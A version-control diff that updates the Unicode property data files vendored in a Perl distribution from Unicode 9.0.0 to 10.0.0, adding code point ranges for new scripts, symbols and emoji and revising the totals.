 2BBD..2BC8    ; ON # So  [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA..2BD1    ; ON # So   [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BCA..2BD2    ; ON # So   [9] TOP HALF BLACK CIRCLE..GROUP MARK
 2BEC..2BEF    ; ON # So   [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2CE5..2CEA    ; ON # So   [6] COPTIC SYMBOL MI RO..COPTIC SYMBOL SHIMA SIMA
 2CF9..2CFC    ; ON # Po   [4] COPTIC OLD NUBIAN FULL STOP..COPTIC OLD NUBIAN VERSE DIVIDER
@@ -1572,7 +1572,7 @@
 2E40          ; ON # Pd       DOUBLE HYPHEN
 2E41          ; ON # Po       REVERSED COMMA
 2E42          ; ON # Ps       DOUBLE LOW-REVERSED-9 QUOTATION MARK
-2E43..2E44    ; ON # Po   [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+2E43..2E49    ; ON # Po   [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
 2E80..2E99    ; ON # So  [26] CJK RADICAL REPEAT..CJK RADICAL RAP
 2E9B..2EF3    ; ON # So  [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE
 2F00..2FD5    ; ON # So [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE
@@ -1737,11 +1737,12 @@
 1F0D1..1F0F5  ; ON # So  [37] PLAYING CARD ACE OF CLUBS..PLAYING CARD TRUMP-21
 1F10B..1F10C  ; ON # No   [2] DINGBAT CIRCLED SANS-SERIF DIGIT ZERO..DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO
 1F16A..1F16B  ; ON # So   [2] RAISED MC SIGN..RAISED MD SIGN
+1F260..1F265  ; ON # So   [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
 1F300..1F3FA  ; ON # So [251] CYCLONE..AMPHORA
 1F3FB..1F3FF  ; ON # Sk   [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6
-1F400..1F6D2  ; ON # So [723] RAT..SHOPPING TROLLEY
+1F400..1F6D4  ; ON # So [725] RAT..PAGODA
 1F6E0..1F6EC  ; ON # So  [13] HAMMER AND WRENCH..AIRPLANE ARRIVING
-1F6F0..1F6F6  ; ON # So   [7] SATELLITE..CANOE
+1F6F0..1F6F8  ; ON # So   [9] SATELLITE..FLYING SAUCER
 1F700..1F773  ; ON # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
 1F780..1F7D4  ; ON # So  [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
 1F800..1F80B  ; ON # So  [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -1749,16 +1750,15 @@
 1F850..1F859  ; ON # So  [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
 1F860..1F887  ; ON # So  [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
 1F890..1F8AD  ; ON # So  [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
-1F910..1F91E  ; ON # So  [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
-1F920..1F927  ; ON # So   [8] FACE WITH COWBOY HAT..SNEEZING FACE
-1F930         ; ON # So       PREGNANT WOMAN
-1F933..1F93E  ; ON # So  [12] SELFIE..HANDBALL
-1F940..1F94B  ; ON # So  [12] WILTED FLOWER..MARTIAL ARTS UNIFORM
-1F950..1F95E  ; ON # So  [15] CROISSANT..PANCAKES
-1F980..1F991  ; ON # So  [18] CRAB..SQUID
+1F900..1F90B  ; ON # So  [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F910..1F93E  ; ON # So  [47] ZIPPER-MOUTH FACE..HANDBALL
+1F940..1F94C  ; ON # So  [13] WILTED FLOWER..CURLING STONE
+1F950..1F96B  ; ON # So  [28] CROISSANT..CANNED FOOD
+1F980..1F997  ; ON # So  [24] CRAB..CRICKET
 1F9C0         ; ON # So       CHEESE WEDGE
+1F9D0..1F9E6  ; ON # So  [23] FACE WITH MONOCLE..SOCKS
 
-# Total code points: 5267
+# Total code points: 5350
 
 # ================================================
 
@@ -1859,6 +1859,7 @@
 0AC7..0AC8    ; NSM # Mn   [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
 0ACD          ; NSM # Mn       GUJARATI SIGN VIRAMA
 0AE2..0AE3    ; NSM # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFF    ; NSM # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; NSM # Mn       ORIYA SIGN CANDRABINDU
 0B3C          ; NSM # Mn       ORIYA SIGN NUKTA
 0B3F          ; NSM # Mn       ORIYA VOWEL SIGN I
@@ -1879,7 +1880,8 @@
 0CBC          ; NSM # Mn       KANNADA SIGN NUKTA
 0CCC..0CCD    ; NSM # Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
 0CE2..0CE3    ; NSM # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; NSM # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; NSM # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D3B..0D3C    ; NSM # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D41..0D44    ; NSM # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
 0D4D          ; NSM # Mn       MALAYALAM SIGN VIRAMA
 0D62..0D63    ; NSM # Mn   [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL
@@ -1964,7 +1966,7 @@
 1CED          ; NSM # Mn       VEDIC SIGN TIRYAK
 1CF4          ; NSM # Mn       VEDIC TONE CANDRA ABOVE
 1CF8..1CF9    ; NSM # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
-1DC0..1DF5    ; NSM # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; NSM # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; NSM # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 20D0..20DC    ; NSM # Mn  [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
 20DD..20E0    ; NSM # Me   [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH
@@ -2066,6 +2068,15 @@
 1171D..1171F  ; NSM # Mn   [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA
 11722..11725  ; NSM # Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11727..1172B  ; NSM # Mn   [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11A01..11A06  ; NSM # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A09..11A0A  ; NSM # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A38  ; NSM # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A3B..11A3E  ; NSM # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; NSM # Mn       ZANABAZAR SQUARE SUBJOINER
+11A51..11A56  ; NSM # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A59..11A5B  ; NSM # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; NSM # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A98..11A99  ; NSM # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11C30..11C36  ; NSM # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; NSM # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
 11C92..11CA7  ; NSM # Mn  [22] MARCHEN SUBJOINED LETTER KA..MARCHEN SUBJOINED LETTER ZA
@@ -2072,6 +2083,11 @@
 11CAA..11CB0  ; NSM # Mn   [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
 11CB2..11CB3  ; NSM # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB5..11CB6  ; NSM # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; NSM # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; NSM # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; NSM # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; NSM # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D47         ; NSM # Mn       MASARAM GONDI RA-KARA
 16AF0..16AF4  ; NSM # Mn   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16B30..16B36  ; NSM # Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16F8F..16F92  ; NSM # Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW
@@ -2096,7 +2112,7 @@
 1E944..1E94A  ; NSM # Mn   [7] ADLAM ALIF LENGTHENER..ADLAM NUKTA
 E0100..E01EF  ; NSM # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 1700
+# Total code points: 1773
 
 # ================================================
 
@@ -2131,6 +2147,8 @@
 074D..07A5    ; AL # Lo  [89] SYRIAC LETTER SOGDIAN ZHAIN..THAANA LETTER WAAVU
 07B1          ; AL # Lo       THAANA LETTER NAA
 07B2..07BF    ; AL # Cn  [14] <reserved-07B2>..<reserved-07BF>
+0860..086A    ; AL # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
+086B..086F    ; AL # Cn   [5] <reserved-086B>..<reserved-086F>
 08A0..08B4    ; AL # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B5          ; AL # Cn       <reserved-08B5>
 08B6..08BD    ; AL # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
@@ -2219,7 +2237,7 @@
 1EEBC..1EEEF  ; AL # Cn  [52] <reserved-1EEBC>..<reserved-1EEEF>
 1EEF2..1EEFF  ; AL # Cn  [14] <reserved-1EEF2>..<reserved-1EEFF>
 
-# Total code points: 1420
+# Total code points: 1436
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/extracted/DBinaryProperties.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DBinaryProperties.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DBinaryProperties.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedBinaryProperties-9.0.0.txt
-# Date: 2016-03-02, 18:54:56 GMT
-# © 2016 Unicode®, Inc.
+# DerivedBinaryProperties-10.0.0.txt
+# Date: 2017-02-14, 04:26:02 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #

Modified: vendor/perl/dist/lib/unicore/extracted/DCombiningClass.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DCombiningClass.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DCombiningClass.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedCombiningClass-9.0.0.txt
-# Date: 2016-06-01, 10:34:23 GMT
-# © 2016 Unicode®, Inc.
+# DerivedCombiningClass-10.0.0.txt
+# Date: 2017-03-08, 08:41:47 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -178,6 +178,7 @@
 0830..083E    ; 0 # Po  [15] SAMARITAN PUNCTUATION NEQUDAA..SAMARITAN PUNCTUATION ANNAAU
 0840..0858    ; 0 # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
 085E          ; 0 # Po       MANDAIC PUNCTUATION
+0860..086A    ; 0 # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; 0 # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; 0 # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 08E2          ; 0 # Cf       ARABIC DISPUTED END OF AYAH
@@ -224,6 +225,8 @@
 09F4..09F9    ; 0 # No   [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN
 09FA          ; 0 # So       BENGALI ISSHAR
 09FB          ; 0 # Sc       BENGALI GANDA MARK
+09FC          ; 0 # Lo       BENGALI LETTER VEDIC ANUSVARA
+09FD          ; 0 # Po       BENGALI ABBREVIATION SIGN
 0A01..0A02    ; 0 # Mn   [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
 0A03          ; 0 # Mc       GURMUKHI SIGN VISARGA
 0A05..0A0A    ; 0 # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
@@ -265,6 +268,7 @@
 0AF0          ; 0 # Po       GUJARATI ABBREVIATION SIGN
 0AF1          ; 0 # Sc       GUJARATI RUPEE SIGN
 0AF9          ; 0 # Lo       GUJARATI LETTER ZHA
+0AFA..0AFF    ; 0 # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; 0 # Mn       ORIYA SIGN CANDRABINDU
 0B02..0B03    ; 0 # Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B05..0B0C    ; 0 # Lo   [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L
@@ -351,7 +355,7 @@
 0CE2..0CE3    ; 0 # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
 0CE6..0CEF    ; 0 # Nd  [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE
 0CF1..0CF2    ; 0 # Lo   [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
-0D01          ; 0 # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; 0 # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; 0 # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
 0D05..0D0C    ; 0 # Lo   [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
 0D0E..0D10    ; 0 # Lo   [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
@@ -659,6 +663,7 @@
 1CEE..1CF1    ; 0 # Lo   [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA
 1CF2..1CF3    ; 0 # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF5..1CF6    ; 0 # Lo   [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7          ; 0 # Mc       VEDIC SIGN ATIKRAMA
 1D00..1D2B    ; 0 # L&  [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
 1D2C..1D6A    ; 0 # Lm  [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
 1D6B..1D77    ; 0 # L&  [13] LATIN SMALL LETTER UE..LATIN SMALL LETTER TURNED G
@@ -735,7 +740,7 @@
 208D          ; 0 # Ps       SUBSCRIPT LEFT PARENTHESIS
 208E          ; 0 # Pe       SUBSCRIPT RIGHT PARENTHESIS
 2090..209C    ; 0 # Lm  [13] LATIN SUBSCRIPT SMALL LETTER A..LATIN SUBSCRIPT SMALL LETTER T
-20A0..20BE    ; 0 # Sc  [31] EURO-CURRENCY SIGN..LARI SIGN
+20A0..20BF    ; 0 # Sc  [32] EURO-CURRENCY SIGN..BITCOIN SIGN
 20DD..20E0    ; 0 # Me   [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH
 20E2..20E4    ; 0 # Me   [3] COMBINING ENCLOSING SCREEN..COMBINING ENCLOSING UPWARD POINTING TRIANGLE
 2100..2101    ; 0 # So   [2] ACCOUNT OF..ADDRESSED TO THE SUBJECT
@@ -811,8 +816,7 @@
 239B..23B3    ; 0 # Sm  [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM
 23B4..23DB    ; 0 # So  [40] TOP SQUARE BRACKET..FUSE
 23DC..23E1    ; 0 # Sm   [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET
-23E2..23FE    ; 0 # So  [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL
-2400..2426    ; 0 # So  [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
+23E2..2426    ; 0 # So  [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO
 2440..244A    ; 0 # So  [11] OCR HOOK..OCR DOUBLE BACKSLASH
 2460..249B    ; 0 # No  [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP
 249C..24E9    ; 0 # So  [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z
@@ -898,7 +902,7 @@
 2B76..2B95    ; 0 # So  [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
 2B98..2BB9    ; 0 # So  [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
 2BBD..2BC8    ; 0 # So  [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA..2BD1    ; 0 # So   [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BCA..2BD2    ; 0 # So   [9] TOP HALF BLACK CIRCLE..GROUP MARK
 2BEC..2BEF    ; 0 # So   [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2C00..2C2E    ; 0 # L&  [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
 2C30..2C5E    ; 0 # L&  [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE
@@ -963,7 +967,7 @@
 2E40          ; 0 # Pd       DOUBLE HYPHEN
 2E41          ; 0 # Po       REVERSED COMMA
 2E42          ; 0 # Ps       DOUBLE LOW-REVERSED-9 QUOTATION MARK
-2E43..2E44    ; 0 # Po   [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+2E43..2E49    ; 0 # Po   [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
 2E80..2E99    ; 0 # So  [26] CJK RADICAL REPEAT..CJK RADICAL RAP
 2E9B..2EF3    ; 0 # So  [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE
 2F00..2FD5    ; 0 # So [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE
@@ -1015,7 +1019,7 @@
 30FB          ; 0 # Po       KATAKANA MIDDLE DOT
 30FC..30FE    ; 0 # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; 0 # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; 0 # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; 0 # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; 0 # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 3190..3191    ; 0 # So   [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
 3192..3195    ; 0 # No   [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK
@@ -1037,7 +1041,7 @@
 3300..33FF    ; 0 # So [256] SQUARE APAATO..SQUARE GAL
 3400..4DB5    ; 0 # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
 4DC0..4DFF    ; 0 # So  [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION
-4E00..9FD5    ; 0 # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; 0 # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; 0 # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; 0 # Lm       YI SYLLABLE WU
 A016..A48C    ; 0 # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -1336,7 +1340,7 @@
 102E1..102FB  ; 0 # No  [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED
 10300..1031F  ; 0 # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
 10320..10323  ; 0 # No   [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
-10330..10340  ; 0 # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; 0 # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; 0 # Nl       GOTHIC LETTER NINETY
 10342..10349  ; 0 # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; 0 # Nl       GOTHIC LETTER NINE HUNDRED
@@ -1564,6 +1568,28 @@
 118E0..118E9  ; 0 # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 118EA..118F2  ; 0 # No   [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
 118FF         ; 0 # Lo       WARANG CITI OM
+11A00         ; 0 # Lo       ZANABAZAR SQUARE LETTER A
+11A01..11A06  ; 0 # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; 0 # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; 0 # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32  ; 0 # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A33         ; 0 # Mn       ZANABAZAR SQUARE FINAL CONSONANT MARK
+11A35..11A38  ; 0 # Mn   [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; 0 # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3A         ; 0 # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E  ; 0 # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A3F..11A46  ; 0 # Po   [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A50         ; 0 # Lo       SOYOMBO LETTER A
+11A51..11A56  ; 0 # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; 0 # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; 0 # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83  ; 0 # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; 0 # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96  ; 0 # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; 0 # Mc       SOYOMBO SIGN VISARGA
+11A98         ; 0 # Mn       SOYOMBO GEMINATION MARK
+11A9A..11A9C  ; 0 # Po   [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9E..11AA2  ; 0 # Po   [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
 11AC0..11AF8  ; 0 # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; 0 # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; 0 # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -1584,6 +1610,17 @@
 11CB2..11CB3  ; 0 # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; 0 # Mc       MARCHEN VOWEL SIGN O
 11CB5..11CB6  ; 0 # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D00..11D06  ; 0 # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; 0 # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; 0 # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36  ; 0 # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; 0 # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; 0 # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D41  ; 0 # Mn   [3] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI SIGN VISARGA
+11D43         ; 0 # Mn       MASARAM GONDI SIGN CANDRA
+11D46         ; 0 # Lo       MASARAM GONDI REPHA
+11D47         ; 0 # Mn       MASARAM GONDI RA-KARA
+11D50..11D59  ; 0 # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 12000..12399  ; 0 # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; 0 # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12470..12474  ; 0 # Po   [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
@@ -1611,10 +1648,11 @@
 16F51..16F7E  ; 0 # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
 16F8F..16F92  ; 0 # Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW
 16F93..16F9F  ; 0 # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; 0 # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; 0 # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; 0 # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; 0 # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
